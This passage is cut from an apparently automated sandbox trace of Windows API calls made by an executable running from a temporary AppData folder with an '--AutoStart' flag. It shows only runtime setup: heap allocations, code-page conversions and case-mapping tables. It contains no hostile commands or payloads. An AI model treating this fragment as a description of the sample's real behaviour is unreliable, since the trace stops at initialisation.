(flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x3c0000 [0091.686] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76980000 [0091.686] GetProcAddress (hModule=0x76980000, lpProcName="FlsAlloc") returned 0x76994f2b [0091.686] GetProcAddress (hModule=0x76980000, lpProcName="FlsGetValue") returned 0x76991252 [0091.686] GetProcAddress (hModule=0x76980000, lpProcName="FlsSetValue") returned 0x76994208 [0091.686] GetProcAddress (hModule=0x76980000, lpProcName="FlsFree") returned 0x7699359f [0091.687] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x214) returned 0x3c07d0 [0091.687] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76980000 [0091.687] GetCurrentThreadId () returned 0x548 [0091.687] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x460f90, hStdOutput=0x461343, hStdError=0x3c07d0)) [0091.687] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x800) returned 0x3c09f0 [0091.687] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0091.687] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0091.687] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0091.687] SetHandleCount (uNumber=0x20) returned 0x20 [0091.687] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart" [0091.688] GetEnvironmentStringsW () returned 0x672038* [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x0, Size=0xb02) returned 0x3c11f8 [0091.688] FreeEnvironmentStringsW (penv=0x672038) returned 1 [0091.688] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5309b8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x95 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x0, Size=0x150) returned 0x3c1d08 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x9c) returned 0x3c1e60 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x3e) returned 0x3c1f08 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x6c) returned 0x3c1f50 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x6e) returned 0x3c1fc8 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x78) returned 0x3c2040 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x62) returned 0x3c20c0 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x2e) returned 0x3c2130 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x48) returned 0x3c2168 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x28) returned 0x3c21b8 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x1a) returned 0x3c21e8 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x4a) returned 0x3c2210 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x72) returned 0x3c2268 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x30) returned 0x3c22e8 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x2e) returned 0x3c2320 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x1c) returned 0x3c2358 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0xd2) returned 0x3c2380 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x7c) returned 0x3c2460 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x36) returned 0x3c24e8 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x3a) returned 0x3c2528 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x90) returned 0x3c2570 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x24) returned 0x3c2608 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x30) returned 0x3c2638 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x36) returned 0x3c2670 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x48) returned 0x3c26b0 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x52) returned 0x3c2700 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x3c) returned 0x3c2760 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x82) returned 0x3c27a8 [0091.688] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x2e) returned 0x3c2838 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x28) returned 0x3c2870 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x1e) returned 0x3c28a0 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x2c) returned 0x3c28c8 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x54) returned 0x3c2900 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x52) returned 0x3c2960 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x2a) returned 0x3c29c0 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x3c) returned 0x3c29f8 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x54) returned 0x3c2a40 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x24) returned 0x3c2aa0 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x30) returned 0x3c2ad0 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x8c) returned 0x3c2b08 [0091.689] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3c11f8 | out: hHeap=0x3c0000) returned 1 [0091.689] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c2ba0 [0091.689] GetLastError () returned 0x0 [0091.689] SetLastError (dwErrCode=0x0) [0091.689] GetLastError () returned 0x0 [0091.689] SetLastError (dwErrCode=0x0) [0091.689] GetLastError () returned 0x0 [0091.690] SetLastError (dwErrCode=0x0) [0091.690] GetACP () returned 0x4e4 [0091.690] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x0, Size=0x220) returned 0x3c2c28 [0091.690] GetLastError () returned 0x0 [0091.690] SetLastError (dwErrCode=0x0) [0091.690] IsValidCodePage (CodePage=0x4e4) returned 1 [0091.690] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0091.690] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0091.690] GetLastError () returned 0x0 [0091.690] SetLastError (dwErrCode=0x0) [0091.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.690] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0091.690] GetLastError () returned 0x0 [0091.690] SetLastError (dwErrCode=0x0) [0091.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ랇鈋賴FĀ") returned 256 [0091.690] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ랇鈋賴FĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0091.690] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ랇鈋賴FĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0091.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x41\xf9\x1d\xa4\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0091.690] GetLastError () returned 0x0 [0091.690] SetLastError (dwErrCode=0x0) [0091.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ랇鈋賴FĀ") returned 256 [0091.690] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ랇鈋賴FĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0091.690] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ랇鈋賴FĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0091.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\